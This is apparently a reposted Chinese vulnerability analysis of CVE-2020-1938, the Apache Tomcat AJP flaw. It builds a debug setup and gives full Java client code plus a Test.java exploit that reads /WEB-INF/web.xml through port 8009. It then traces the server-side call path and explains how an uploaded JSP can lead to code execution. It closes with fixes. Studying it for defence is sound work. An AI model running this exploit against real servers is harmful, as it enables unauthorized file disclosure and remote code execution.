网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

CVE-2020-1938:Apache AJP 协议漏洞,从环境搭建到修复建议详细分析

文章来源:重庆网络安全 发布时间:2020-02-25 15:11:02 围观次数:
分享到:

摘要:CVE-2020-1938 Apache AJP 协议漏洞,从环境搭建到修复建议详细分析。

环境搭建


  这里使用tomcat8.0.52的测试环境。因为tomcat默认情况下启用AJP协议,所以我们只需要配置tomcat的远程debug环境。


  1.找到catalina.sh定义远程调试端口。在这里使用默认端口5005。


   if [ -z "$JPDA_ADDRESS" ]; then

   JPDA_ADDRESS="localhost:5005"

   fi

  2.在调试模式下启动tomcat。不建议直接更改tomcat的默认启动模式,否则以后会默认启用调试模式,因此建议直接在debug模式下启动tomcat。


  sh catalina.sh jpda start

  3.导入tomcat jar包到idea的lib中,将tomcat jars放在lib目录下,直接导入lib。

blob.png

接下来,在idea中启用tomcat的远程调试环境并进行部署。


  AJP(Apache JServ协议)是定向数据包协议。它的功能实际上类似于HTTP协议。区别在于AJP协议使用二进制格式传输文本,并使用TCP协议与SERVLET容器进行通信。因此,对该漏洞的利用取决于客户端,而不是浏览器或HTTP数据包捕获工具。


  因为它是一个Java漏洞,所以很难从Internet上的py poc看到许多与AJP协议有关的内容,因此在这里我们看一下用于发送AJP消息的java的客户端代码。客户端代码引用自0nise的GitHub。


  目录结构如下,因为代码需要依赖于tomcat的AJP相关jar包,因此还必须添加tomcat的lib,

blob.png

file:TesterAjpMessage.javapackage com.glassy.utility;import java.util.ArrayList;import java.util.LinkedHashMap;import java.util.List;import java.util.Map;import java.util.Map.Entry;import org.apache.coyote.ajp.AjpMessage;import org.apache.coyote.ajp.Constants;import org.apache.juli.logging.Log;import org.apache.juli.logging.LogFactory;public class TesterAjpMessage extends AjpMessage {    private final Map<String, String> attribute = new LinkedHashMap();    private final List<Header> headers = new ArrayList();    private static final Log log = LogFactory.getLog(AjpMessage.class);    private static class Header {        private final int code;        private final String name;        private final String value;        public Header(int code, String value) {            this.code = code;            this.name = null;            this.value = value;        }        public Header(String name, String value) {            this.code = 0;            this.name = name;            this.value = value;        }        public void append(TesterAjpMessage message) {            if (this.code == 0) {                message.appendString(this.name);            } else {                message.appendInt(this.code);            }            message.appendString(this.value);        }    }    public TesterAjpMessage(int packetSize) {        super(packetSize);    }    public byte[] raw() {        return this.buf;    }    public void appendString(String str) {        if (str == null) {            log.error(sm.getString("ajpmessage.null"), new NullPointerException());            this.appendInt(0);            this.appendByte(0);        } else {            int len = str.length();            this.appendInt(len);            for(int i = 0; i < len; ++i) {                char c = str.charAt(i);                if (c <= 31 && c != '\t' || c == 127 || c > 255) {                    c = ' ';                }                this.appendByte(c);            }            this.appendByte(0);        }    }    public byte readByte() {        byte[] bArr = this.buf;        int i = this.pos;        this.pos = i + 1;        return bArr[i];    }    public int readInt() {        byte[] bArr = this.buf;        int i = this.pos;        this.pos = i + 1;        int val = (bArr[i] & 255) << 8;        bArr = this.buf;        i = this.pos;        this.pos = i + 1;        return val + (bArr[i] & 255);    }    public String readString() {        return readString(readInt());    }    public String readString(int len) {        StringBuilder buffer = new StringBuilder(len);        for (int i = 0; i < len; i++) {            byte[] bArr = this.buf;            int i2 = this.pos;            this.pos = i2 + 1;            buffer.append((char) bArr[i2]);        }        readByte();        return buffer.toString();    }    public String readHeaderName() {        byte b = readByte();        if ((b & 255) == 160) {            return Constants.getResponseHeaderForCode(readByte());        }        return readString(((b & 255) << 8) + (getByte() & 255));    }    public void addHeader(int code, String value) {        this.headers.add(new Header(code, value));    }    public void addHeader(String name, String value) {        this.headers.add(new Header(name, value));    }    public void addAttribute(String name, String value) {        this.attribute.put(name, value);    }    public void end() {        appendInt(this.headers.size());        for (Header header : this.headers) {            header.append(this);        }        for (Entry<String, String> entry : this.attribute.entrySet()) {            appendByte(10);            appendString((String) entry.getKey());            appendString((String) entry.getValue());        }        appendByte(255);        this.len = this.pos;        int dLen = this.len - 4;        this.buf[0] = (byte) 18;        this.buf[1] = (byte) 52;        this.buf[2] = (byte) ((dLen >>> 8) & 255);        this.buf[3] = (byte) (dLen & 255);    }    public void reset() {        super.reset();        this.headers.clear();    } }

这个TesterAjpMessage.java文件是Tomcat自身用来处理AJP协议信息的AjpMessage类的子类。因为AjpMessage仅支持发送字节信息,所以代码丰富了TesterAjpMessage子类,因此我们支持appendString和Header相关操作更加方便。

file:SimpleAjpClient.javaimport java.io.IOException;import java.io.InputStream;import java.net.Socket;import java.util.Arrays;import javax.net.SocketFactory;public class SimpleAjpClient {    private static final byte[] AJP_CPING;    private static final int AJP_PACKET_SIZE = 8192;    private String host = "localhost";    private int port = -1;    private Socket socket = null;    static {        TesterAjpMessage ajpCping = new TesterAjpMessage(16);        ajpCping.reset();        ajpCping.appendByte(10);        ajpCping.end();        AJP_CPING = new byte[ajpCping.getLen()];        System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0, ajpCping.getLen());    }    public int getPort() {        return this.port;    }    public void connect(String host, int port) throws IOException {        this.host = host;        this.port = port;        this.socket = SocketFactory.getDefault().createSocket(host, port);    }    public void disconnect() throws IOException {        this.socket.close();        this.socket = null;    }    public TesterAjpMessage createForwardMessage(String url) {        return createForwardMessage(url, 2);    }    public TesterAjpMessage createForwardMessage(String url, int method) {        TesterAjpMessage message = new TesterAjpMessage(8192);        message.reset();        message.getBuffer()[0] = (byte) 18;        message.getBuffer()[1] = (byte) 52;        message.appendByte(2);        message.appendByte(method);        message.appendString("http");        message.appendString(url);        message.appendString("10.0.0.1");        message.appendString("client.dev.local");        message.appendString(this.host);        message.appendInt(this.port);        message.appendByte(0);        return message;    }    public TesterAjpMessage createBodyMessage(byte[] data) {        TesterAjpMessage message = new TesterAjpMessage(8192);        message.reset();        message.getBuffer()[0] = (byte) 18;        message.getBuffer()[1] = (byte) 52;        message.appendBytes(data, 0, data.length);        message.end();        return message;    }    public void sendMessage(TesterAjpMessage headers) throws IOException {        sendMessage(headers, null);    }    public void sendMessage(TesterAjpMessage headers, TesterAjpMessage body) throws IOException {        this.socket.getOutputStream().write(headers.getBuffer(), 0, headers.getLen());        if (body != null) {            this.socket.getOutputStream().write(body.getBuffer(), 0, body.getLen());        }    }    public byte[] readMessage() throws IOException {        InputStream is = this.socket.getInputStream();        TesterAjpMessage message = new TesterAjpMessage(8192);        byte[] buf = message.getBuffer();        int headerLength = message.getHeaderLength();        read(is, buf, 0, headerLength);        int messageLength = message.processHeader(false);        if (messageLength < 0) {            throw new IOException("Invalid AJP message length");        } else if (messageLength == 0) {            return null;        } else {            if (messageLength > buf.length) {                throw new IllegalArgumentException("Message too long [" + Integer.valueOf(messageLength) + "] for buffer length [" + Integer.valueOf(buf.length) + "]");            }            read(is, buf, headerLength, messageLength);            return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);        }    }    protected boolean read(InputStream is, byte[] buf, int pos, int n) throws IOException {        int read = 0;        while (read < n) {            int res = is.read(buf, read + pos, n - read);            if (res > 0) {                read += res;            } else {                throw new IOException("Read failed");            }        }        return true;    } }

SimpleAjpClient是用于发送AJP消息的客户端代码,支持服务器的连接和断开连接,并支持AJP消息头和消息的构造。


  漏洞分析


  首先看一下恶意AJP消息包的结构。

file:Test.javaimport com.glassy.utility.SimpleAjpClient;import com.glassy.utility.TesterAjpMessage;import java.io.IOException;import javax.servlet.RequestDispatcher;public class Test {    public static void main(String[] args) throws IOException {        SimpleAjpClient ac = new SimpleAjpClient();        String host = "localhost";        int port = 8009;        String uri = "/aaa.jsp";        String file = "/WEB-INF/web.xml";        ac.connect(host, port);        TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");        forwardMessage.end();        ac.sendMessage(forwardMessage);        while (true) {            byte[] responseBody = ac.readMessage();            if (responseBody == null || responseBody.length == 0) {                ac.disconnect();            } else {                System.out.print(new String(responseBody));            }        }    } }

从构造的AJP消息包中,您可以看到AJPMessage的核心内容是主机,端口,INCLUDE_REQUEST_URI,INCLUDE_PATH_INFO和INCLUDE_SERVLET_PATH。 让我们现在写下它们。当我们达到断点时,我们将转到服务器并查看这些内容在做什么。


  现在,该开始考虑动态调试了。与以前的rce漏洞(统一到ProcessBuilder的Start函数)不同,断点成为第一个关键问题,这里的方法是因为在客户端代码中使用了AjpMessage类,所以去研究了此类所在的jar 包,在tomcat库中找到了负责处理AJP协议的类。

blob.png

这些类几乎可以想到通过它们的名称来查看多个Processor。 漏洞的触发源必须经过其中之一。乍一看,根据直觉,直接看一下AjpProcessor。看到AjpProcessor类没有找到我们想要的,但是它有一个值得注意的父类。然后,去了其余的Processor,发现父类是AbstractAjpProcessor,因此去查看了该类的代码,最终决定把断点打在了AbstractAjpProcessor类的process方法上

blob.png

运行客户端,在处理AJP协议时,它实际上会通过此方法。

blob.png

在AbstractAjpProcessor类的处理方法中,this.prepareRequest()方法要注意,这是响应请求的一些处理,

blob.png

让我们看一下该方法的代码,首先查看TesterAjpMessage.java代码中的详细信息,method的值

blob.png

在这种prepareRequest中,我们获得了该值,并将request的method定义为GET,该方法也与稍后要传递给Servlet的doGet方法有关。

blob.png

进入swith循环后,立即为request定义了ADDR,PORT和PROTOCOL。 先前在客户端上设置的INCLUDE_REQUEST_URI,INCLUDE_PATH_INFO和INCLUDE_SERVLET_PATH也放置在request.include中。

blob.png

然后将request和response移交给CoyoteAdapter类进行处理,

blob.png

下一步是一系列的反射,最终将这些思考移交给JspServlet来处理此请求

blob.png

在JspServlet的service方法中,我们看到使用了我们先前在利用率代码中定义的INCLUDE_REQUEST_URI,INCLUDE_PATH_INFO和INCLUDE_SERVLET_PATH。

blob.png

下一个操作是将jspUri赋予getResource以读取文件内容

blob.png

调用StandardRoot的getResource方法时,将调用validate方法以检测path

blob.png

其中,RequestUtil.normalize用于目录遍历检测,因此我们无法构造../模式的path

blob.png

接下来就会造成文件读取了,总体的调用栈如下

blob.png

关于当存在任意文件上传的时候可以造成RCE的原理也是很简单的,我们看一下上面的调用栈,可以发现当我们读取了文件之后是交给了jspServlet去处理的,自然我们上传了jsp文件再通过该方法去读取文件内容的同时jspServlet也会去执行这个文件,利用jsp的<%@ include file=”demo.txt” %>去做文件包含从而造成RCE。


这里有一个很重要的点要回过来提一下,这里面为了顺便讲解RCE的原理,所以在定义Test.java中的uri变量的时候,给他赋值是xxx.jsp的形式,所以最好AJPProcessor最后是把Message交给了JspServlet来处理这个消息,其实这个漏洞还有第二条利用链,将uri定为xxx.xxx的形式,这样我们的AJPMessage是会交给DefaultServlet来处理的,但其实后面的流程是和前面区别不大的,就不再细说

blob.png

走DefaultServlet利用的调用栈

blob.png

修复建议


  漏洞的分析出的比较晚。 相信每个人都知道修复方法,所以顺便提一下:


  1.关闭AJP协议。


  2.升级tomcat。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索: CVE-2020-1938 Apache AJP 协议漏洞 环境搭建 修复建议 重庆网络安全

上一篇:漏洞利用研究之Firefox浏览器
下一篇:PayPal的Google Pay集成漏洞:可通过PayPal帐户进行未经授权的交易

热门资讯

鼠标向下滚动